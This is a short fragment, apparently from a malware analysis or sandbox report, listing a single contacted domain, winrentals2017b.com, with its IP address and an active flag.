Contacted Domains

Name IP Active
winrentals2017b.com 194.62.42.207 true